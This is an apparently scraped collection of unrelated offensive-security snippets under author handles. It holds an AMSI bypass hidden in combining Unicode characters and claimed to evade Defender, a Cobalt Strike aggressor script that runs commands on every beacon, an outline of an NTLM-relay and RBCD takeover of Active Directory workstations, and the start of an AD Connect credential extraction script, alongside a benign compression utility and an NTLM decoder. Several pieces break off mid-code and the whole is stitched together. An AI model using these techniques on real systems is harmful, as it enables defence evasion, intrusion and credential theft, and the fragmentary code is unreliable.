bobby-tablez

# This simply echos a huge amount of overlapped or combined unicode characters before and after an unobfuscated AMSI Bypass. 
# This somehow allows the user to run whatever then want inside the overlapping character blobs.
# Currently bypasses Defender Dec. 2023
# 
# Writeup: https://x00.zip/amsi-bypass-using-unicode/
# Overlapping Unicode Chars: https://c.r74n.com/combining
# AMSI Bypass: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell


'B̴̠̠̱̱⃭⃭⃯⃯̟͎͎̥̥̤̺͎̻̙̘̮̹̣̤̥̗̰͙̼̫̫̺̺̪̟̞̝͉̘̘̙͓͓⃨⃨̀̀́́̂̂̄̄⃐⃐⃑⃑⃰͌̓̔̔̀̈́̓̉̉̑͗͑̇̈̈́̊͋͊͆̽̽⃜⃜⃛⃛͘͘͘͠T̸⃪⃒⃓̛̛͈͎͎̮̮͇͇̳̳̠̮⃬⃭⃮⃯̻͙͚͓̐̋̋̏̏̌̍̎̔̊̊̿̿҃̑̆̀́̂⃐⃑⃔⃕⃖⃗⃡⃰̏̋͌̓͛̀́͂̓҃︮︦︯̽⃩͗͗͑͑̇̕̕͢͢͜͝͡B̴̠̠̱̱⃭⃭⃯⃯̟͎͎̥̥̤̺͎̻̙̘̮̹̣̤̥̗̰͙̼̫̫̺̺̪̟̞̝͉̘̘̙͓͓⃨⃨̀̀́́̂̂̄̄⃐⃐⃑⃑⃰͌̓̔̔̀̈́̓̉̉̑͗͑̇̈̈́̊͋͊͆̽̽⃜⃜⃛⃛͘͘͘͠T̸⃪⃒⃓̛̛͈͎͎̮̮͇͇̳̳̠̮⃬⃭⃮⃯̻͙͚͓̐̋̋̏̏̌̍̎̔̊̊̿̿҃̑̆̀́̂⃐⃑⃔⃕⃖⃗⃡⃰̏̋͌̓͛̀́͂̓҃︮︦︯̽⃩͗͗͑͑̇̕̕͢͢͜͝͡B̴̠̠̱̱⃭⃭⃯⃯̟͎͎̥̥̤̺͎̻̙̘̮̹̣̤̥̗̰͙̼̫̫̺̺̪̟̞̝͉̘̘̙͓͓⃨⃨̀̀́́̂̂̄̄⃐⃐⃑⃑⃰͌̓̔̔̀̈́̓̉̉̑͗͑̇̈̈́̊͋͊͆̽̽⃜⃜⃛⃛͘͘͘͠T̸⃪⃒⃓̛̛͈͎͎̮̮͇͇̳̳̠̮⃬⃭⃮⃯̻͙͚͓̐̋̋̏̏̌̍̎̔̊̊̿̿҃̑̆̀́̂⃐⃑⃔⃕⃖⃗⃡⃰̏̋͌̓͛̀́͂̓҃︮︦︯̽⃩͗͗͑͑̇̕̕͢͢͜͝͡';[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').

Flangvik

on heartbeat_15m {
	    foreach $beacon (beacons()) {
			println("[VPN] Running command on id: " . $beacon['id'] . ", hostname:" . binfo($beacon['id'], "computer") . "\n");
	        $id = $beacon['id'];
			bipconfig($id,{
				print("[VPN] Captured network interfaces from " . binfo($1, "computer") . ", looking for a new IPs to alert on\n"); 
                exec("python3.7 /<fullpath>/AlertOnNewIp.py --data " . transform($2, "powershell-base64") . " --user " . binfo($1, "user") . " --computer " . binfo($1, "computer"));   
            });
	    }    

Wra7h

//Compresses a file using the Windows API
//Compile: C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\Compress.cs
//Windows Compression API: https://docs.microsoft.com/en-us/windows/win32/api/_cmpapi/
//Supported Algorithms: https://docs.microsoft.com/en-us/windows/win32/api/compressapi/nf-compressapi-createcompressor

// Takes a file, compresses it using one of the supported algorithms and creates a file with the compressed data.

using System;
using System.IO;
using System.Linq;

gladiatx0r

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

xpn

Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"

try {
    $client.Open()
} catch {
    Write-Host "[!] Could not connect to localdb..."
    return

aseering

#!/usr/bin/env python

## Decodes NTLM "Authenticate" HTTP-Header blobs.
## Reads the raw blob from stdin; prints out the contained metadata.
## Supports (auto-detects) Type 1, Type 2, and Type 3 messages.
## Based on the excellent protocol description from:
##  <http://davenport.sourceforge.net/ntlm.html>
## with additional detail subsequently added from the official protocol spec:
##  <http://msdn.microsoft.com/en-us/library/cc236621.aspx>
##